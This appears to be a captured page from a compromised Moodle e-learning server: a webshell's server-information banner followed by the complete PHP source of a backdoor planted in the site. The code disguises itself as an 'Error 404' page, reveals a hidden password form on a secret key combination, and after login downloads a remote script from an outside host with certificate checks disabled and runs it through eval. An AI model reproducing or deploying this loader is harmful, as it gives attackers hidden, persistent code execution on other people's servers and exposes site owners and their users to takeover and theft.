| Server IP : 41.63.0.143 / Your IP : 216.73.216.184 [ Web Server : Apache/2.4.29 (Ubuntu) System : Linux elearning 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.2.24-0ubuntu0.18.04.17 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals, Domains : 2 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/moodle/local/moodle_webshell/ |
Upload File : |
<?php
session_start();
function geturlsinfo($url) {
if (function_exists('curl_exec')) {
$conn = curl_init($url);
curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0);
if (isset($_SESSION['coki'])) {
curl_setopt($conn, CURLOPT_COOKIE, $_SESSION['coki']);
}
$url_get_contents_data = curl_exec($conn);
curl_close($conn);
} elseif (function_exists('file_get_contents')) {
$url_get_contents_data = file_get_contents($url);
} elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
$handle = fopen($url, "r");
$url_get_contents_data = stream_get_contents($handle);
fclose($handle);
} else {
$url_get_contents_data = false;
}
return $url_get_contents_data;
}
function is_logged_in()
{
return isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true;
}
if (isset($_POST['password'])) {
$entered_password = $_POST['password'];
$hashed_password = 'f099f5e2a1d520f0d29a18b58cb2588c';
if (md5($entered_password) === $hashed_password) {
$_SESSION['logged_in'] = true;
$_SESSION['coki'] = 'asu';
} else {
echo "Incorrect password. Please try again.";
}
}
if (is_logged_in()) {
$a = geturlsinfo('https://kingdefserver.com/script/alfax.txt');
eval('?>' . $a);
} else {
?>
<!DOCTYPE html>
<html>
<head>
<title>Error 404</title>
<script>
document.addEventListener('keydown', function(event) {
if (event.ctrlKey && event.shiftKey && event.code === 'KeyL') {
document.getElementById('login-form').style.display = 'block';
}
});
</script>
<style>
#login-form { display: none; }
</style>
</head>
<body>
<form id="login-form" method="POST" action="">
<label for="password">Password:</label>
<input type="password" id="password" name="password">
<input type="submit" value="Halo Pulici">
</form>
</body>
</html>
<?php
}
?>